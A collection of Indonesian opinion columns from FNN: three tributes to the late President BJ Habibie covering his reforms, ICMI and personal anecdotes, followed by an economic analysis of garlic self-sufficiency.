Habibie Yang Sangat Demokratis Itu Telah Meninggalkan Kita

Tuntutan reformasi diakomodir oleh Habibie. Bahkan semua tuntutan diusahakan bisa terwujud. Setelah tuntutan untuk membuat pemilu yang jujur dan adil, kebebasan pers, selanjutnya adalah pemerintahan yang bebas KKN. Untuk itu, Undang-Undang No. 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi menjadi bukti keseriusan Presiden Habibie ingin mewujudkan demokrasi yang bebas korupsi, kolusi dan nepotisme (KKN). Oleh Dr. Ahmad Yani SH. MH. Jakarta, FNN - Reformasi tahun 1998 menjadi siklus perubahan penting dalam politik Indonesia. Setelah terjadi protes massa terhadap pemerintahan Soeharto, rezim yaang sudah berkuasa 32 tahun itupun tumbang. Akhirnya Baharuddin Jusuf Habibie yang saat itu menjabat sebagai Wakil Presiden otomatis menggantikan Presiden menggantikan Soeharto. Naiknya Habibie pada awalnya tidak terlalu menggembirakan bagi kaum reformis. Karena dianggap masih "bagian orde baru". Bagi sebagian kaum reformis, yang namanya orde baru itu mutlak harus ditolak dengan sangat keras. Transisi politik dan demokrasi berpuncak. Krisis ekonomi masih belum bisa teratasi. Isu-isu pelanggaran Hak Asasi Manusia (HAM) dan keadilan mencuat ke permukaan. Korupsi politik dan KKN menjadi perhatian penting. Habibie tentu harus menguras pikiran dan tenaganya memperbaiki keadaan yang sedang gawat itu. Habibie juga harus mengambil sikap untuk menyelamatkan negara. Harus menegakkan hukum, mewujudkan demokrasi bagi negara yang berada dibawah kendalinya ketika itu. Ada banyak permasalahan hukum dan HAM selama pemerintahan orde baru yang menjadi tuntutan rakyat untuk segera di atasi. Tidak mudah bagi pemerintahan Habibie yang baru seumur jagung itu untuk membayar lunas tuntutan reformasi yang terus menggeliat. Kondisinya betul-betul sangat berat. Namun disitulah kegeniusan seorang Habibie. Dia mampu melakukan perbaikan secara cepat dan tepat. Meskipun dikenal sebagai presiden dengan masa jabatan terpendek, yaitu dari Mei 1998 hingga Oktober 1999. Di bawah kendali pemerintahannya, Indonesia mulai melembagakan demokrasi. Habibir membuat Undang-Undang Nomor 3 Tahun 1999 Tentang Pemilihan Umum (Pemilu). Dibuka seluas-luasnya pendirian partai politik bagi masyarakat. Sehingga pemilu tahun 1999 dapat dibilang sebagai pemungutan suara paling demokratis setelah pemilu tahun 1955. Tinggi komitmen seorang Habibie tentang demokrasi, mendorongnya menggelar referendum di Timor Timur. Meskipun keputusan tersebut kontreversial, namun Habibie tetap kukuh dengan keputusannya. Ujungnya provinsi termuda Indonesia itupun lepas dari pengkuan Negara Kesatuan Republik Indonesia. Sosok Habibie adalah sosok demokratis tulen. Dia telah memberikan kebebasan bagi keterkungkungan pers selama 32 tahun. Dilahirkannya Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Langkah ini sebagai wujud dari komitmen Habibie menegakkan demokrasi di Indonesia. Kebebasan diberikan kepada media massa nasional untuk menyampaikan informasi yang sebenar-benarnya tanpa harus disensor oleh kekuasaan. Hanya dengan semangat demokratis, yang menuntun jalannya pemerintahan Habibie, sehingga dapat memulihkan gejolak politik pada 21 Mei 1998. Meskipun pemerintahan Habibie hanya singkat, tetapi kecerdasan dan kemampuannya yang jenius, memudahkan melahirkan segala produk-produk demokrasi bisa terwujud secara cepat dan tepat. Tuntutan reformasi diakomodir oleh Habibie. Bahkan semua tuntutan diusahakan bisa terwujud. Setelah tuntutan untuk membuat pemilu yang jujur dan adil, kebebasan pers, selanjutnya adalah pemerintahan yang bebas KKN. Untuk itu, Undang-Undang No. 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi menjadi bukti keseriusan Presiden Habibie ingin mewujudkan demokrasi yang bebas korupsi, kolusi dan nepotisme (KKN). Presiden Habibie ingin mengubah tampilan wajah pemerintah. Dari yang begitu otoriter ke arah demokrasi. Dari pemerintahan yang dianggap KKN menjadi pemerintahan yang bersih dan berwibawa. Selain itu muncul dorongan untuk membebaskan tahanan politik yang dikemukakan oleh tokoh reformasi, Deliar Noer ,Ali Sadikin, Amien Rais dan Adnan Buyung Nasution, ditanggapi dengan serius. Tiga hari setelah dilantik, Habibie membebaskan terdakwa kasus subversi Sri Bintang Pamungkas, Timsar Zubil, Muchtar Pakpahan dan lain-lain. Pengumuman ini disampaikan langsung ole Presiden Habibie. Itulah salah satu peristiwa penting yang terjadi pada tangga 24 Mei 1998. Mereka semua yang berada dalam tahanan politik lainnya yang diusahakan dibebaskan. Aktivis Partai Rakyat Demokratik (PRD), Budiman Sudjatmiko, Andi Arif , Nuku Sulaiman, Andi Syahputra, hingga Xanana Gusmao juga dibebaskan. Pembebasan terhadap para tahanan politik (tapol) dan narapidana politik (napol) orde baru ini membuktikan keseriusan Habibie menjalankan agenda demokratisasi dan mengakhiri cara politik feodalisme yang otoritarian. Rangkul Cendekiawan & Mendirikan ICMI Habibie merupakan salah satu tokoh Islam di zaman orde baru yang patut menjadi kebanggaan bagi umat Islam. Perhatiannya terhadap politik Islam dan masa depan Islam patut diapresiasi. Memang kebijakan orde baru antara 1980-an membuat ledakan besar bagi populasi kaum cendekiawan Islam Indonesia. Presiden Soeharto memberikan perhatian yang agak serius akan perkembangan pesantren dan pendidikan Islam. Ledakan besar intelektual Islam mendorong adanya keinginan untuk membentuk sebuah wadah ormas, kajian dan diskusi. Maka pada tanggal 7 Desember 1990 di sebuah pertemuan kaum cendekiawan muslim di Kota Malang tanggal 6-8 Desember 1990, lahirlaqh Ikatan Cendekiawan Muslim Indonesia atau disingkat ICMI. Pada pertemuan itu juga dipilih BJ Habibie sebagai Ketua Umum ICMI yang pertama. Selanjutnya dibentuk juga lembaga pemikir. Namanya Center For Information and Development Studies (Cides). Lembaga ini tugasnya mendorong isu demokrasi, hak asasi manusia dan ekonomi kerakyatan. Begitu juga penerbitan Harian Republika dan Bank Islam Muamalat. Peran Habibie dalam mengkonsolidasikan kekuatan Islam zaman orde baru, dibantu oleh Dr. Imaduddin Abdurrahim dan Adi Sasono. Ketiganya menjadi pilar uatama titik temu antara Islam dan negara. Mereka bertiga juga menjadi bagian dari tampilnya para intelektual Islam dalam panggung politik yang dapat diterima oleh pemerintahan Soeharto. Hal itu sangat positif bagi umat Islam. Wajah orde baru yang sebelumnya tidak terlalu memberikan keramahan pada Islam, setelah ICMI terbentuk justru menampakkan perubahan sikap yang sangat berbeda. Tidak mengherankan fenomena tersebut menjadi bagian dari kembalinya tokoh-tokoh Islam di panggung politik orde baru. Sebagai pengimbang bagi kelompok Islam, Habibie dibantu oleh dokter Hariman Siregar, tokoh Malari tahun 1974. Kehadiran dokter Hariman Siregar untuk melihat perspektif pembangunan dan demokrasi secara nasional yang komperhensip dan menyeluruh. Akhirnya Semua Pergi Habibie adalah sosok teladan yang patut menjadi contoh bagi kita semua. Keteladanan dalam membangun akhlak politik yang ramah dan santun. Keteladanan dalam mengelola negara dengan baik dan benar. Kejeniusannya dalam merumuskan kebijakan yang memberikan manfaat bagi rakyat. Habibie patut dijadikan sebagai cerminan dalam kehidupan kebangsaan kita. Habibie yang menjadi pelaku sejarah itu telah meninggalkan kita menghadap Rob yang menciptakannya. Dia telah mengorbankan pikiran dan tenaganya demi negara. Habibie harus dikenang dengan menjadikan setiap sikap dan kepribadiannya sebagai panutan. Ditengah distorsi, peluruhan dalam kehidupan kebangsaan kita akhir-akhir ini, maka tidak ada jalan selain menimba pengalaman dan sejarah dari Habibie yang menjadi legenda di masa dahulu kita itu. Salah satunya contohnya adalah Habibie sebagai membangun demokrasi dan mengantarkan negara keluar dari kemelut politik. Akhirnya kita semua menjadi saksi bisa Habibie kini kembali menghadap kepada pencipta. Pemilik otoritas mutlak atas gelaga yang mernama kehidupan dan kematian. Semoga Allah SWT mengampuni segala dosa dan khilafnya. Semoga Allah SWT menerima segala amal baiknya, serta dikumpulkan bersama para orang-orang yang sholeh. Amin. Wallahualam bis shawab Penulis adalah Dosen Fakultas Hukum, Ilmu Sosial dan Politik Universitas Muhammadiyah Jakarta dan Vice Presiden KAI.

BJ Habibie dan Islam Politik yang Tersandung

Puncaknya adalah pembentukan organisasi elitis yang langsung bermerek Islam. Yaitu, Ikatan Cendekiawan Muslim Indonesia atau yang sangat terkenal dengan singkatan ICMI. Berdiri pada Desember 1990. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Salah satu kenangan dari almarhum BJ Habibie adalah Islam politik di era Presiden Soeharto. Selalu digambarkan sebagai putar haluan Pak Harto yang sangat fenomenal. Peristiwa pembantian umat Islam di Tanjung Priok pada 1984 banyak dikaitkan dengan kebencian Jenderal Leonardud Benny Moerdani terhadap Islam. LB Moerdani waktu itu menjabat sebagai Menhankam merangkap Panglima ABRI. Moerdani dijuluki sebagai jenderal bengis dengan wajah ketat. Dalam sejumlah buku memoir, LB Moerdani disebut-sebut sebagai penerus kelompok anti-Islam yang dikelola oleh Letjen Ali Moertopo Cs. Moerdani adalah gemblengan langsung Ali. Ali Moertopo mendirikan kelompok pemikir (think tank) yang diberi nama Centre for Strategic and International Studies (CSIS) pada 1971. Banyak pengamat berpendapat bahwa CSIS adalah pabrik pemikiran dan konsep yang dianggap tidak suka Islam. CSIS-lah yang konon menyiapkan ‘blue print’ politik untuk pemerintahan Presiden Soeharto pada masa-masa awal kekuasaannya yang disahkan lewat pemilu pertama pada 1971. Think-tank inilah yang memasok pemikiran mengenai arah pembangunan pemerintah Orde Baru. Seiring dengan itu, Ali Moertopo menjadi sangat kuat di kabinet Pak Harto. Ali kemudian menjadi dominan dalam tahun-tahun selanjutnya. Dia memang diakui hebat dalam memainkan kartu Islam. Dikatakan, di masa Ali-lah muncul kelompok-kelompok Islam radikal dan berbagai peristiwa ‘anti-pemerintah’ yang mereka lakukan. Tujuan dari semua ini adalah untuk memojokkan umat Islam. Kartu Islam ini dimainkan terus oleh Ali bersama CSIS. Sampai akhirnya Pak Harto sendiri terjebak jauh dalam kebijakan yang tak bersahabat dengan umat Islam. Dekade pertengahan 1970-an hingga 1980-an adalah masa-masa puncak perseteruan Pak Harto dan umat Islam. Semua ini diyakini sebagai akibat rekayasa Ali Moertopo Cs. Pak Harto mencium gelagat tak baik dari Ali Moertopo. Dirasakan ada skenario yang bertujuan untuk mendistkreditkan Pak Harto. Singkat cerita, peranan Ali pun dipangkas. Sampai akhirnya Ali tersingkir dari kabinet dan meninggal dunia pada 1984 Tetapi, menurut beberapa sumber, Ali telah menyiapkan penerusnya. Yaitu, LB Moerdani yang disebut di awal tulisan ini. Diyakini bahwa Moerdani meneruskan pemikiran Ali. Hanya saja, dalam beberapa catatan memoir, Moerdani sangat loyal kepada Pak Harto. Begitu pun, Pak Harto disebut-sebut oleh para pengamat merasa terancam oleh gerak-gerik Moerdani. Dianggap ada bahaya besar ‘gerakan politik’ anti-Islam yang dikomandoi oleh Moerdani. Ini membuat hubungan Pak Harto dengan Moerdani menjadi tidak mulus, kata para pengamat. Sementara itu, di tubuh milliter dimunculkan terminologi ‘tentara hijau’ untuk menyebut para petinggi yang dikatakan memihak Islam politik. Pak Harto yang sebelumnya juga tidak mulus dengan umat Islam, akhirnya memutuskan untuk menghentikan itu. Pak Harto membaca gelagat LB Moerdani yang dikatakan semakin berbahaya. Beliau mencari kekuatan baru. Kekuatan baru yang diperlukan itu tidak ada. Kecuali umat Islam. Mulailah kelihatan manuver-manuver yang bertujuan untuk memeluk umat Islam. Puncaknya adalah pembentukan organisasi elitis yang langsung bermerek Islam. Yaitu, Ikatan Cendekiawan Muslim Indonesia atau yang sangat terkenal dengan singkatan ICMI. Berdiri pada Desember 1990. Tidak tanggung-tanggung. Pak Harto merestui Prof BJ Habibie yang waktu itu bertugas sebagai Menristek/Kepala Badan Pengkajian dan Penerapan Teknologi (BPPT) untuk memimpin ICMI. Habibie menjadi ketua umum pertama ICMI. Kegusaran kalangan Islam membuat kehadiran ICMI menjadi sesuatu yang membangkitkan semangat baru. Apalagi, sponsor pembentukan ICMI bukan orang biasa. Tujuan resmi ICMI adalah memperjuangkan pengentasan kemiskinan dan peningkatan pendidikan untuk rakyat. Tetapi, bisa dibaca bahwa ICMI mempunyai misi utama untuk mengimbangi apa yang disangkakan sebagai keberadaan ‘gerakan anti-Islam’. ICMI disosialisasikan secara masif. Berhasil menjadi wadah para sarjana dan cendekiawan muslim. Di mana-mana ada cabang ICMI. Ormas ini seolah berfungsi sebagai ‘parpol Islam’ di seluruh jajaran birokrasi dan kampus plus di level akar rumput. Meskipun berstatus ormas, ICMI mampu menjadi pengimbang ‘gerakan anti-Islam’ yang dikhawatirkan oleh banyak kalangan. Pak Harto mendukung penuh. Habibie pun berubah menjadi sosok kekuatan politik. Beliau kemudian menjadi nakhoda Islam politik. ICMI berkibar. Apalagi ada keyakinan waktu itu bahwa ‘gerakan anti-Islam’ sedang berlangsung gencar untuk mengerdilkan umat. Figur Habibie sebagai pimpinan ICMI sangat menentukan sukses organisasi itu dalam menghimpun kekuatan umat. Wadah ini menjadi ‘melting pot’ (tempat bertemu) para cendekiawan dari berbagai latar belakang ormas dan instansi. Tetapi, politisasi ICMI tidak selalu mulus. Banyak yang mencemoohkannya. Antara lain tokoh ormas NU waktu itu, Abdurrahman Wahid alias Gus Dur. Meskipun kemudian Gus Dur sempat mengatakan, ketika dia menjadi presiden ke-4 menggantikan BJ Habibie, bahwa umat Islam menjadi maju berkat keberadaan ICMI. Pak Harto memang serius merangkul umat Islam. Dan beliau menaruh harapan pada Habibie. Harapan besar itulah yang kemudian ditunjukkan ketika Pak Harto menggandeng Habibie menjadi wakil presiden pada 1998. Tetapi, ‘positioning’ umat Islam lewat tangan Habibie terkena badai ketika Indonesia dilanda krisis moneter (krismon) 1997-1998. Krisis ini bercampur krisis politik. Gerakan perlawanan terhadap kekuasaan otoriter Pak Harto menjadi matang. Tapi, ICMI menjadi tak kelihatan. Tenggelam oleh ‘persatuan’ semua elemen bangsa yang menginginkan Pak Harto lengser. Waktu itu, umat Islam tidak membawa bendera sendiri. Amien Rais sebagai motor tuntutan Reformasi, melancarkan gerakan yang sifatnya nasional. Meskipun beliau tokoh Muhammadiyah, tetapi Pak Amien mengedepankan suara rakyat secara umum. Rakyat yang merasa tertindas oleh kekuasaan otoriter Orde Baru di bawah pimpinan Pak Harto. Gerakan Reformasi akhirnya berhasil mendesakkan pengunduran diri Pak Harto. Pada 21 Mei 1998, Habibie disumpah menjadi presiden. Pak Harto turun. Tetapi, Pak Habibie malah tidak meneruskan Islam politik. Nakhoda Islam politik ini memilih untuk menjadi presiden semua orang. Tidak mengherankan, sebenarnya. Sebab, sejatinya Pak Habibie adalah seorang demokrat. Beliau hidup lama di alam demokrasi Barat. Demokratis adalah jiwa Habibie. Pak Habibie tidak menjadi presiden yang menonjolkan keinginan umat Islam. Tidak lagi ada ICMI di mata beliau. Tidak ada lagi Islam politik di tangan pakar ilmu pesawat terbang itu. Bahkan, setelah beliau berhenti menjadi presiden pada 20 Oktober 1999, Pak Habibie melakukan manuver ‘self-reinventing’ atau mengubah jati diri. Beliau menjadi seorang nasionalis sejati. Bersamaan dengan itu, Islam politik tersandung di sini. Namun, suasana Reformasi membuat Islam politik menemukan jalan baru. Meskipun ICMI tidak ada lagi, gerakan baru malah membuka peluang yang lebih besar lagi. Kekuatan Islam politik menjadi faktual. Malahan lebih kuat. Sekiranya digambarkan sebagai kompetisi terbuka, piala pertama yang direbut oleh Islam politik adalah hasil pilkada DKI 2017 yang mencegah Ahok menjadi gubernur. Pak Habibie menyaksikan ini. Suka atau tak suka, Habibie dengan ‘credential’ barunya sebagai seorang demokrat sejati harus mengakui kekuatan Islam politik itu. Ternyata, tidak harus selalu tersandung. Selamat jalan Pak Habibie. InsyaAllah husnul khatimah. 12 September 2019

Jam Dinding, Seprai dan Kacang Rebus dari Eyang Habibie

Oleh Hersubeno Arief Jakarta, FNN - Suatu hari pada awal tahun 1999 bersama beberapa orang wartawan, kami diterima audiensi oleh Presiden BJ Habibie. Saat itu hiruk pikuk reformasi mulai mereda. Belum muncul isu referendum Timor-Timur. Ruang kerja Pak Habibie di pojok kanan Gedung Bina Graha, di Jalan Veteran, Jakarta. Suasananya terasa sangat informal. Berbeda jauh dengan masa-masa Presiden Soeharto. Pada masa Pak Harto, aura Bina Graha — juga menjadi kantor presiden— dan komplek istana secara keseluruhan, terasa sedikit angker, penuh wibawa. Apalagi bila bertemu langsung dengan Pak Harto. Aura itu sangat terasa bagi siapapun yang pernah datang ke istana. Bahkan bagi kami wartawan kepresidenan yang sehari-hari mangkal di sana. Pak Habibie menyambut kami dengan santai. Mengenakan jas warna coklat susu, kotak-kotak dengan garis kecil. Beliau mempersilakan duduk. Sambil duduk di belakang meja kepresidenan, beliau menawarkan kacang rebus. “Ayo dik, ambil,” katanya sambil menyodorkan piring kacang rebus yang dimakannya. Panggilan “dik” biasa digunakan ketika menyapa wartawan. “Tulis yang bagus ya dik,” begitu biasanya pesannya seusai wawancara. Di meja kerja Pak Habibie nampak penganan lain berupa rebusan pisang, ubi jalar, dan singkong rebus. Makanan sangat sederhana, lokal Indonesia itu menjadi penganan yang ada sejak masa Pak Harto. Jangan dibayangkan makananan di istana berupa menu mewah. Sayur lodeh adalah satu menu favorit di istana. Sejumlah wartawan senior secara bercanda menyatakan, sayur lodeh buatan koki istana, merupakan sayur lodeh ter-enak sedunia! Kembali ke Pak Habibie. Sikap rileks, informal menjadi ciri khas dari beliau. Tidak berubah. Bahkan ketika sudah menjadi Presiden RI. Yang sedikit berubah adalah protokoler kepresidenan. Itu pun sering dilanggarnya. Sebelum menjadi Wapres dan kemudian Presiden, di kalangan wartawan yang ngepos di Kantor Menristek/Kepala BPPT, BJ Habibie dikenal sebagai pribadi yang cair. Satu hal lagi yang menjadi ciri khas Pak Habibie adalah rajin menghadiri undangan. Sampai ke dalam gang, kalau ada undangan dari wartawan BPPT yang menikah, Pak Habibie dan Bu Ainun akan menyempatkan hadir. Kado yang diberikan beliau juga sangat khas. “Kalau tidak jam dinding, pasti seprai,” kenang mereka sambil tertawa. Pak Habibie juga sangat ramah dan rajin menyapa. Dengan beberapa wartawan yang sudah dikenalnya secara dekat, beliau tidak segan menyapa dengan meneriakkan nama dari kejauhan. Layaknya seorang sahabat dekat. Tidak jaim. Pak Habibie juga dikenal sebagai orang gampang iba. Pagi hari ketika pak Habibie tiba di kantornya, para karyawan berderet menyambutnya. Biasanya mereka menyampaikan keluh kesahnya. Mulai dari masalah biaya anak sekolah, sampai mertua yang sakit. Para ajudan di belakang biasanya membawa koper berwarna coklat dan hitam. Salah satunya berisi uang dolar. Mereka yang punya kebutuhannya cukup besar dan beruntung, biasanya akan diberi uang dalam bentuk dolar. Hanya saja Pak Habibie punya satu “kelemahan.” Jangan pernah menunjukkan sebuah jam tangan yang belum dimilikinya. Dia akan berusaha sekuat tenaga mencarinya. Beliau memang dikenal sebagai penyuka jam tangan, juga kolektor mobil klasik. Salah satu mobil favoritnya adalah mobil klasik Mercedes-Benz 300 SL Coupe Gullwing. Mobil buatan tahun 1950an itu didapatkan dengan cara yang unik. Sudah menjadi barang rongsokan di hutan Jambi. Tersangkut di sebuah pohon. Pribadi yang cair, tidak jaim dan senang silaturahmi adalah ciri khas yang melekat pada Pak Habibie. Beliau juga terkesan tidak peduli dengan jabatan, termasuk sebagai presiden. Ketika anggota MPR menjegalnya. Menolak pidato pertanggungjawabannya, padahal belum dibacakan. Pak Habibie juga menanggapinya dengan rileks. Beliau tetap hadir ke Gedung MPR-DPR ketika Gus Dur dan Megawati dilantik menjadi presiden dan wapres. Kepada para pendukungnya yang sangat kecewa, Habibie menyerukan agar mendukung pemerintahan yang baru. Setelah tidak menjadi presiden, Pak Habibie masih terus menjalin silaturahmi dengan para presiden penggantinya. Ketika Megawati menjadi presiden, sampai SBY dan Jokowi, Habibie masih sering bertemu. Beliau dengan santai selalu hadir pada acara-cara kenegaraan, terutama pada peringatan HUT kemerdekaan RI 17 Agustus. Satu hal yang tidak bisa dilakukan Pak Habibie adalah bertemu mentornya, orang yang membesarkannya: Pak Harto. Beliau dilarang bertemu. Hal itu menjadi kesedihan tersendiri baginya. Pak Habibie juga rajin takziah, melayat ketika ada tokoh atau orang yang dikenalnya wafat. Ketika Haji Roosniah Bakrie ibunda pengusaha nasional Aburizal Bakrie wafat, 20 Maret 2012, Pak Habibie mengantarnya sampai ke tepi liang lahat. Dengan usia yang sudah sepuh (76) Pak Habibie duduk di sebuah kursi. Saking padatnya pelayat, banyak yang tanpa sadar berdiri berdesakan di depan Pak Habibie. Pantat (maaf) para pelayat tepat berada di depan mata Pak Habibie. Beliau tetap duduk dengan tenang. Anehnya ajudan beliau hanya membiarkan. Mungkin mereka tidak menyadarinya. Dengan sopan saya meminta mereka untuk minggir. Bagaimanapun Pak Habibie adalah tokoh sepuh dan pernah menjadi Presiden RI. Harus tetap dihormati. (Bapak demokrasi Indonesia) Di luar kepribadiannya yang unik dan menarik, bagi aktivis demokrasi yang jujur, Pak Habibie akan dikenang sebagai peletak demokrasi Indonesia dan kebebasan pers. Para tahanan politik dibebaskan. Pada masa beliau lah UU Pemilu dilahirkan. 7 Juni 1999 digelar pemilu pertama setelah era Reformasi. Sebuah pemilu yang dinilai sangat demokratis setelah Pemilu 1955. Pada masa Pak Habibie, keran kebebasan pers dibuka. Melalui Menteri Penerangan Letjen TNI (Purn) Yunus Yosfiah lembaga SIUPP (Surat Izin Usaha Penerbitan Pers) dicabut. SIUPP merupakan barang yang menakutkan di masa Orde Baru. Dengan pembatalan/pencabutan SIUPP, penerbitan sebuah media dihentikan alias dibreidel. Media bebas mengeritik pemerintah. Ironisnya justru saat ini kebebasan pers mengalami kemunduran. Pers banyak yang menghamba menjadi alat kekuasaan pemerintah. Di luar beberapa catatan itu, satu hal yang tak boleh dilupakan dari pria yang belakangan lebih senang dipanggil Eyang, adalah Referendum Timtim. Pada masa pemerintahan Habibie, Timtim lepas dari pangkuan Indonesia. Lepasnya provinsi paling bontot itu dijadikan alasan para lawan politiknya untuk menjegal Habibie. Dengan latar belakangnya, besar dan tumbuh dalam alam demokrasi di negara Barat, keputusannya melaksanakan referendum di Timtim bisa dipahami. Kebebasan menentukan nasib sendiri sebuah bangsa seperti Timtim, bagi seorang Habibie adalah salah satu bentuk penghormatan atas HAM dan demokrasi. Kita boleh tidak sepakat dengan pilihan dan sikapnya. Selalu ada sudut pandang yang berbeda, setiap kali kita menilai seorang tokoh besar, termasuk kepada Eyang Habibie. Tak lama setelah adzan maghrib berkumandang dari masjid Istiqlal, Jakarta, Rabu sore (11/9) pukul 18.03, Eyang Habibie wafat dalam usia 83 tahun. Beliau dirawat di RSPAD Gatot Subroto, Jakarta. Mari kita kenang, dan tauladani hal-hal yang baik dari beliau. Selamat jalan Eyang Habibie. Allohuma firlahu, warhamhu, wa’afihi wa’fuanhu. Insya Allah husnul khotimah. Kami semua tinggal menunggu giliran. Insya Allah akan menyusulmu. End

Swasembada Bawang Putih bukan Ilusi

Biaya produksi yang sangat tinggi mustahil Indonesia bisa swasembada bawang putih. Karena masalah utamanya adalah tidak kompetitif biaya produksi yang jauh lebih tinggi dari China. Alokasi lahan tanam seluas-luasnya hanya sia-sia. Oleh Anthony Budiawan Jakarta, FNN - Kebutuhan bawang putih konsumsi nasional sekitar 550.000 - 600.000 ton per tahun. Hampir semua kebutuhan tersebut dipenuhi dari impor, khususnya dari China. Akibatnya, Indonesia mendapat predikat sebagai importir bawang putih terbesar. Market share sekitar 17,6 persen dari total pasar impor dunia pada tahun 2016. Devisa yang dikeluarkan sekitar U$ 674 juta dolar atau setara sekitar Rp 9,5 triliun, bila menggunakan kurs yang berlaku saat ini. Pemerintah sangat menyadari kondisi yang miris ini. Oleh karena itu, tahun 2017 pemerintah menargetkan swasembada bawang putih dapat dicapai pada tahun 2019. Target swasembada ini dimajukan dari target sebelumnya tahun 2023. Target tersebut kemudian direvisi kembali menjadi 2021. Dengan melihat waktu yang semakin dekat, banyak pihak pesimis swasembada bawang putih dapat tercapai tahun 2021. Untuk bisa mencapai swasembada bawang putih, syarat utama adalah harus kompetitif. Indonesia harus bisa bersaing dengan negara produsen bawang putih lainnya. Artinya, Indonesia harus bisa produksi bawang putih dengan biaya yang lebih rendah dari para pesaing, khususnya China. Biaya produksi bawang putih di China rata-rata sekitar U$ 520 dolar per ton, atau sekitar Rp 7.500 per kilogram. Biaya produksi ini tiga kali lipat lebih rendah dari biaya produksi bawang putih di Amerika Serikat yang mencapai U$ 1.600 dolar per ton, atau lebih dari Rp 22.000 per kilogram. Seperti Amerika, biaya produksi bawang putih Indonesia juga termasuk tinggi. Bervarisasi antara Rp 18.000 - Rp 24.000 per kilogram. Dengan biaya produksi yang tinggi seperti ini, mustahil Indonesia bisa swasembada. Meskipun pemerintah mengalokasikan lahan tanam seluas-luasnya. Karena masalah utamanya adalah tidak kompetitif biaya produksi yang jauh lebih tinggi dari China. Untuk bisa kompetitif, Indonesia harus berupaya keras menurunkan biaya produksi secara signifikan. Upaya ke arah ini bisa dilakukan dengan menurunkan biaya tanam di satu sisi, dan meningkatkan produktivitas tanam di lain sisi. Dengan demikian, biaya produksi akan turun drastis dan kompetitif. Sebagai ilustrasi, biaya tanam bawang putih di Indonesia paling rendah sekitar Rp 65 juta per hektar. Hasil panen adalah sekitar enam ton bawang putih basah, termasuk daun, atau sekitar tiga ton bawang putih kering yang tanpa daun. Dengan demikian, maka biaya produksi bawang putih kering tanpa daun menjadi Rp 21.667 per kilogram. Biaya produksi besar ini tentu saja tidak kompetitif. Biaya tanam bawang putih di Indonesia bisa setinggi ini karena biaya benih sangat mahal sekali. Komponen biaya benih bisa lebih dari 35 persen dari total biaya tanam. Oleh karena itu, harga benih harus bisa ditekan lebih murah, bahkan menjadi setengah dari harga sekarang. Kemudian, benih bawang putih yang ditanam di Indonesia umumnya sangat kecil, oleh karena itu sangat ringan. Hanya sekitar 1 - 1,2 gram per benih (siung). Akibatnya, hasil panen, atau produktivitas, menjadi rendah. Beratnya hasil panen bawang putih pada dasarnya akan mengikuti berat benih yang ditanam. Oleh karena itu, benih yang dipilih untuk tanam harus lebih besar, dan lebih berat, dari yang sekarang. Kalau berat benih ditingkatkan menjadi rata-rata dua kali dari berat benih yang umumnya ditanam sekarang. Hasil panen per hektar diperkirakan juga akan meningkat menjadi dua kali lipat, yaitu dari tiga ton per hektar bawang putih kering tanpa daun menjadi enam ton. Dengan demikian, biaya produksi akan turun menjadi Rp 10.833 per kilogram. Hasil ini sudah cukup kompetitif. Produktivitas enam ton bawang putih kering per hektar termasuk sangat rendah. China bisa menghasilkan 25 ton per hektar bawang putih kering tanpa daun yang siap konsumsi. Sedangkan Amerika bisa mencapai 20 ton per hektar. Salah satu sebabnya karena umbi bawang putih China, dan juga Amerika, jauh lebih besar dari umbi bawang putih Indonesia. Kalau pemerintah dapat membuat umbi bawang putih Indonesia sebesar mereka, maka produktivitas akan meningkat tajam. Bisa mencapai 15 ton bawang putih kering per hektar. Sehingga biaya produksi dapat ditekan secara signifikan. Dampaknya, biaya produksi Rp 7.500 per kilogram bukanlah khayalan. Kalau ini tercapai, maka swasembada bawang putih akan terwujud, bahkan ekspor bukan hal mustahil untuk bisa dicapai Total produksi bawang putih dunia pada 2016 mencapai 26,6 juta ton. China menguasai 79,8 persen, dengan total produksi 21,2 juta ton. Sedangkan nilai ekspor dunia pada 2016 mencapai U$ 3,84 miliar dolar. Dari jumlah tersebut, China menguasai 71,5 persen dengan total nilai ekspor U$ 2,74 miliar dolar. Indonesia menjadi menyerap impor paling besar perdagangan global bawang putih ini, dengan menguasai 17,6 persen pasar impor, senilai U$ 674 juta dolar. Peringkat kedua, impor global dipegang oleh Brazil dengan pangsa impor sebesar 9 persen, senilai U$ 344 juta dolar. Sedangkan negara tetangga kita sesama ASEAN, Vietnam dan Malaysia, juga melakukan impor cukup besar, masing-masing 6,3 persen dan 6,1 persen, dengan nilai impor U$ 241,5 juta dolar dan U$ 235,5 juta dolar. Data di atas menunjukkan pasar global bawang putih ternyata sangat menarik, namun sekaligus juga menjanjikan. Kalau Indonesia bisa menekan biaya produksi bawang putih menjadi Rp 10.000 per kilogram atau lebih rendah, maka Indonesia pasti bisa mewujudkan swasembada Bawang Putih. Bahkan menerobos pasar ekspor. Karena, selama budidaya bawang putih menguntungkan para petani, maka petani akan ramai-ramai menanam. Khusus untuk pasar ekspor, pemerintah, yang dalam hal ini Kementerian Pertanian berkewajiban membantu para petani bawang putih menjalankan teknik budidaya dan pasca panen sesuai standar internasional yang dikenal dengan Good Agricultural Practices(GAP). Swasembada bawang putih untuk konsumsi dapat dicapai melalui dua tahap. Pertama, swasembada benih, dengan total produksi (hasil panen) cukup untuk memenuhi kebutuhan produksi bawang putih konsumsi. Namun, swasembada benih tahun 2021 menghadapi kendala ketersediaan benih yang ternyata masih cukup langka di Indonesia. Oleh karena itu, pemerintah harus segera membuka impor benih bawang putih sebesar-besarnya, dan secepat-cepatnya. Tujuannya, agar ketersediaan benih terjamin, sehingga swasembada benih bawang utih benih, dan swasembada konsumsi bawang putih segera dapat terwujud. Untuk itu, pemerintah untuk sementara ini harus mempertahankan kebijakan wajib tanam lima persen bagi para importir yang ingin melakukan impor. Malah harus ditingkatkan menjadi 10 persen, atau bahkan 20 persen, di tahun depan. Karena kebijakan wajib tanam ini sebenarnya adalah inti dari keberhasilan swasembada bawang putih. Selain itu, pemerintah pusat, bekerja sama dengan pemerintah daerah, harus membantu penyediaan lahan tanam untuk bawang putih benih maupun konsumsi. Dengan demikian, swasembada bawang putih dapat dipastikan bukan hanya ilusi lagi. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Misteri Orang-orang Papua di Istana Presiden

